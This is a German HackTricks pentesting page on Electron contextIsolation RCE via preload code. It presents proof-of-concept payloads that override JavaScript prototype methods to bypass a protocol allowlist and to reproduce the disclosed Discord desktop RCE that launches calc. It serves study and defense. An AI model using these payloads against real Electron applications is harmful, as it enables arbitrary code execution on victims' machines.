hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
2024-02-10 15:36:32 +00:00

6.2 KiB

Electron contextIsolation RCE über Preload-Code

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Beispiel 1

Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Dieser Code öffnet http(s)-Links mit dem Standardbrowser:

Etwas wie file:///C:/Windows/systemd32/calc.exe könnte verwendet werden, um den Taschenrechner auszuführen. Das SAFE_PROTOCOLS.indexOf verhindert dies.

Daher könnte ein Angreifer diesen JS-Code über XSS oder willkürliche Seiten-Navigation einschleusen:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Da der Aufruf von SAFE_PROTOCOLS.indexOf immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiger Exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Überprüfen Sie die Originalfolien für andere Möglichkeiten, Programme auszuführen, ohne dass eine Berechtigungsabfrage angezeigt wird.

Anscheinend gibt es eine andere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie file://127.0.0.1/electron/rce.jar zugreift.

Beispiel 2: Discord App RCE

Beispiel von https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Beim Überprüfen der Preload-Skripte habe ich festgestellt, dass Discord die Funktion freigibt, mit der einige erlaubte Module über DiscordNative.nativeModules.requireModule('MODULE-NAME') aufgerufen werden können, in der Webseite.
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das Modul child_process, aber ich habe einen Code gefunden, mit dem RCE erreicht werden kann, indem die JavaScript-internen Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird.

Hier ist der PoC. Ich konnte bestätigen, dass die Anwendung calc angezeigt wird, wenn ich die Funktion getGPUDriverVersions aufrufe, die im Modul "discord_utils" definiert ist, während ich RegExp.prototype.test und Array.prototype.join überschreibe.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Die Funktion getGPUDriverVersions versucht, das Programm mithilfe der "execa"-Bibliothek auszuführen, wie folgt:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Normalerweise versucht execa, "nvidia-smi.exe" auszuführen, das in der Variablen nvidiaSmiPath angegeben ist. Aufgrund der überschriebenen RegExp.prototype.test und Array.prototype.join wird jedoch das Argument in der internen Verarbeitung von _execa durch "calc" ersetzt.

Konkret wird das Argument durch Änderung der folgenden beiden Teile ersetzt.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: